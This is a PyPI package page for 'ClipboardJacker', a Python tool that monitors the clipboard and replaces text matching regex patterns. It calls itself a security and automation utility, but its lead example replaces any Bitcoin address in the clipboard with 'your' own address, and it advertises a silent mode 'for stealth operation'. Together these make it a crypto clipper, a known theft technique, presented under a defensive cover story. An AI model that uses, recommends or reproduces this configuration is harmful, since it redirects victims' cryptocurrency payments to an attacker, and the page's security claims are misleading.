Skip to main content

A powerful Python tool for clipboard text replacement and monitoring

Project description

ClipboardJacker 🎯

A powerful Python tool that automatically replaces text in your clipboard based on configurable regex patterns. Perfect for protecting against clipboard hijacking, standardizing text formats, and automating text replacements.

Python Version License Downloads

🚀 Features

  • 🔒 Real-time clipboard monitoring
  • ⚡ Regex-based text replacement
  • 🛡️ Rate limiting to prevent excessive replacements
  • 🔕 Silent mode for stealth operation
  • 📊 Pattern statistics tracking
  • 🔄 Cross-platform support (Windows, macOS, Linux)

💡 Use Cases

🛡️ Security

  • Protect against clipboard hijacking attacks
  • Replace cryptocurrency wallet addresses with your own
  • Mask sensitive information (emails, phone numbers, etc.)

🔄 Text Standardization

  • Format dates and times consistently
  • Standardize phone numbers
  • Convert text case (e.g., to Title Case)
  • Replace common typos

🚀 Automation

  • Replace placeholder text with actual values
  • Convert markdown to HTML
  • Format code snippets
  • Replace URLs with shortened versions

📦 Installation

# Install from PyPI
pip install clipboardjacker

# Or clone and install from source
git clone https://github.com/yourusername/ClipboardJacker.git
cd ClipboardJacker
pip install -e .

🛠️ Usage

Basic Usage

from clipboardjacker import ClipboardJacker, Config

# Define your patterns
patterns = [
    # Example: Replace cryptocurrency addresses
    {
        "regex": r"bc1[ac-hj-np-z02-9]{11,71}|[13][a-km-zA-HJ-NP-Z1-9]{25,34}",
        "replace_with": "bc1qyourbitcoinaddresshere",
        "description": "Bitcoin (BTC) address",
        "priority": 1,
        "enabled": True
    },
    # Example: Format phone numbers
    {
        "regex": r"(\d{3})[-.]?(\d{3})[-.]?(\d{4})",
        "replace_with": r"(\1) \2-\3",
        "description": "Format phone numbers",
        "priority": 2,
        "enabled": True
    },
    # Example: Replace email addresses
    {
        "regex": r"\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b",
        "replace_with": "redacted@example.com",
        "description": "Mask email addresses",
        "priority": 3,
        "enabled": True
    }
]

# Create config
config = Config(
    patterns=patterns,
    rate_limit=1,  # 1 second between replacements
    log_level="INFO",
    silent=False
)

# Initialize and run
jacker = ClipboardJacker(config)
jacker.monitor_clipboard()

Command Line Interface

# Run with default config
python -m clipboardjacker

# Run with custom config file
python -m clipboardjacker --config my_config.json

# Run in silent mode
python -m clipboardjacker --silent

# Set custom rate limit
python -m clipboardjacker --rate-limit 2

⚙️ Configuration

Create a config.json file:

{
    "patterns": [
        {
            "regex": "your-regex-pattern",
            "replace_with": "replacement-text",
            "description": "Pattern description",
            "priority": 1,
            "enabled": true
        }
    ],
    "rate_limit": 1,
    "log_level": "INFO",
    "silent": false
}

🛡️ Security Features

  • Rate limiting to prevent excessive clipboard modifications
  • Pattern validation to ensure valid regex patterns
  • Silent mode for stealth operation
  • Backup of original clipboard content
  • Priority-based pattern matching

🤝 Contributing

Contributions are welcome! Please feel free to submit a Pull Request.

  1. Fork the repository
  2. Create your feature branch (git checkout -b feature/AmazingFeature)
  3. Commit your changes (git commit -m 'Add some AmazingFeature')
  4. Push to the branch (git push origin feature/AmazingFeature)
  5. Open a Pull Request

📝 License

This project is licensed under the MIT License - see the LICENSE file for details.

⭐ Star History

Star History Chart

🙏 Acknowledgments

  • Thanks to all contributors who have helped improve this project
  • Inspired by the need for better clipboard security and automation

📞 Support

If you find this project helpful, please consider:

  • ⭐ Starring the repository
  • 🐛 Reporting bugs
  • 💡 Suggesting new features
  • 💰 Making a donation (crypto addresses available upon request)

Made with ❤️ by Your Name

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

clipboardjacker-0.1.1.tar.gz (8.9 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

clipboardjacker-0.1.1-py3-none-any.whl (8.6 kB view details)

Uploaded Python 3

File details

Details for the file clipboardjacker-0.1.1.tar.gz.

File metadata

  • Download URL: clipboardjacker-0.1.1.tar.gz
  • Upload date:
  • Size: 8.9 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.3

File hashes

Hashes for clipboardjacker-0.1.1.tar.gz
Algorithm Hash digest
SHA256 a05efda483aa3944a93046ed2b2de53758719288c7c45732042918449c2fdbb2
MD5 59a3a6e72824b6b9bced4c7096cc25c4
BLAKE2b-256 e3147de2593392eaf21966fd0ea8525131ab162da49e46443c68192a3c2a1c6f

See more details on using hashes here.

File details

Details for the file clipboardjacker-0.1.1-py3-none-any.whl.

File metadata

File hashes

Hashes for clipboardjacker-0.1.1-py3-none-any.whl
Algorithm Hash digest
SHA256 d6cd4e8067bd1a359f7fa9fba20e17e7cd8a57975b1312285aa9b22a61e54855
MD5 6296c8b35f1ccc479f1ec9078a6d6226
BLAKE2b-256 677c8c2c56d9b1f4bdd5508ff9673181605d8ea5d8e9ee712b45feda4e4c6958

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page